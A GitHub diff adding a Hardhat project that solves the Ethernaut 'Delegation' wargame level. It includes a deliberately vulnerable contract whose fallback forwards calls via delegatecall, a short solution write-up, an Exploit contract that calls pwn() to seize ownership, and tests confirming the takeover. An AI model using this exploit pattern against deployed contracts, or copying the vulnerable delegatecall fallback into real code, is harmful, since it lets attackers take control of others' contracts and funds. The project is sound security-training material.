Skip to content
This repository was archived by the owner on May 8, 2023. It is now read-only.
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions ethernaut/delegation/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
node_modules
.env
coverage
coverage.json
typechain
typechain-types

# Hardhat files
cache
artifacts

yarn.lock
49 changes: 49 additions & 0 deletions ethernaut/delegation/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# Delegation

The goal of this level is for you to claim ownership of the instance you are given.

### Things that might help

- Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
- Fallback methods
- Method ids

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
```

Find solution in `SOLUTION.md`

[Challenge source](https://ethernaut.openzeppelin.com/level/0xF781b45d11A37c51aabBa1197B61e6397aDf1f78)
6 changes: 6 additions & 0 deletions ethernaut/delegation/SOLUTION.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# Delegation challenge solution

To seize Delegation contract ownership, you need to call `pwn` function from Delegate in the context of the Delegation contract.
You can do this by calling the `pwn` function on Delegation smart contract. Delegation does not contain a `pwn` function, so the `fallback` function will be called, which in turn will call `pwn` in the context of Delegation contract using `delegatecall`

See the details of the described method in `contracts/Exploit.sol` and `test/Delegation.test.ts`
31 changes: 31 additions & 0 deletions ethernaut/delegation/contracts/Delegation.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
13 changes: 13 additions & 0 deletions ethernaut/delegation/contracts/Exploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Delegation.sol';

contract Exploit {
function seizeOwnership(address target) external {
(bool success, ) = target.call(
abi.encodeWithSelector(Delegate.pwn.selector)
);
require(success, 'exploit failed');
}
}
8 changes: 8 additions & 0 deletions ethernaut/delegation/hardhat.config.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
import { HardhatUserConfig } from 'hardhat/config';
import '@nomicfoundation/hardhat-toolbox';

const config: HardhatUserConfig = {
solidity: '0.8.18',
};

export default config;
27 changes: 27 additions & 0 deletions ethernaut/delegation/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
{
"name": "delegation",
"version": "1.0.0",
"license": "MIT",
"devDependencies": {
"@ethersproject/abi": "^5.4.7",
"@ethersproject/providers": "^5.4.7",
"@nomicfoundation/hardhat-chai-matchers": "^1.0.0",
"@nomicfoundation/hardhat-network-helpers": "^1.0.0",
"@nomicfoundation/hardhat-toolbox": "^2.0.0",
"@nomiclabs/hardhat-ethers": "^2.0.0",
"@nomiclabs/hardhat-etherscan": "^3.0.0",
"@typechain/ethers-v5": "^10.1.0",
"@typechain/hardhat": "^6.1.2",
"@types/chai": "^4.2.0",
"@types/mocha": ">=9.1.0",
"@types/node": ">=12.0.0",
"chai": "^4.2.0",
"ethers": "^5.4.7",
"hardhat": "^2.13.0",
"hardhat-gas-reporter": "^1.0.8",
"solidity-coverage": "^0.8.0",
"ts-node": ">=8.0.0",
"typechain": "^8.1.0",
"typescript": ">=4.5.0"
}
}
46 changes: 46 additions & 0 deletions ethernaut/delegation/test/Delegation.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
import { mine } from '@nomicfoundation/hardhat-network-helpers';
import { expect } from 'chai';
import { ethers } from 'hardhat';
import { Delegation, Delegate, Exploit } from '../typechain-types';

describe('Delegation', () => {
let delegate: Delegate;
let delegation: Delegation;
let exploit: Exploit;

async function deploy() {
const [deployer] = await ethers.getSigners();
// 1. deploy Delegate
const DelegateFactory = await ethers.getContractFactory('Delegate');
delegate = await DelegateFactory.deploy(deployer.address);
await delegate.deployed();
// 2. deploy Delegation
const DelegationFactory = await ethers.getContractFactory('Delegation');
delegation = await DelegationFactory.deploy(delegate.address);
await delegation.deployed();
// 3. deploy Exploit
const ExploitFactory = await ethers.getContractFactory('Exploit');
exploit = await ExploitFactory.deploy();
await exploit.deployed();
}

before(deploy);

it('deployer should be Delegate and Delegation owner', async () => {
const [deployer] = await ethers.getSigners();
expect(await delegate.owner()).to.equal(deployer.address);
expect(await delegation.owner()).to.equal(deployer.address);
});

it(`Exploit s/c should seize Delegation ownership`, async () => {
const seizeTx = await exploit.seizeOwnership(delegation.address);
await seizeTx.wait();
expect(await delegation.owner()).to.equal(exploit.address);
});

it(`Exploit s/c should seize Delegate ownership`, async () => {
const seizeTx = await exploit.seizeOwnership(delegate.address);
await seizeTx.wait();
expect(await delegate.owner()).to.equal(exploit.address);
});
});
11 changes: 11 additions & 0 deletions ethernaut/delegation/tsconfig.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"compilerOptions": {
"target": "es2020",
"module": "commonjs",
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"strict": true,
"skipLibCheck": true,
"resolveJsonModule": true
}
}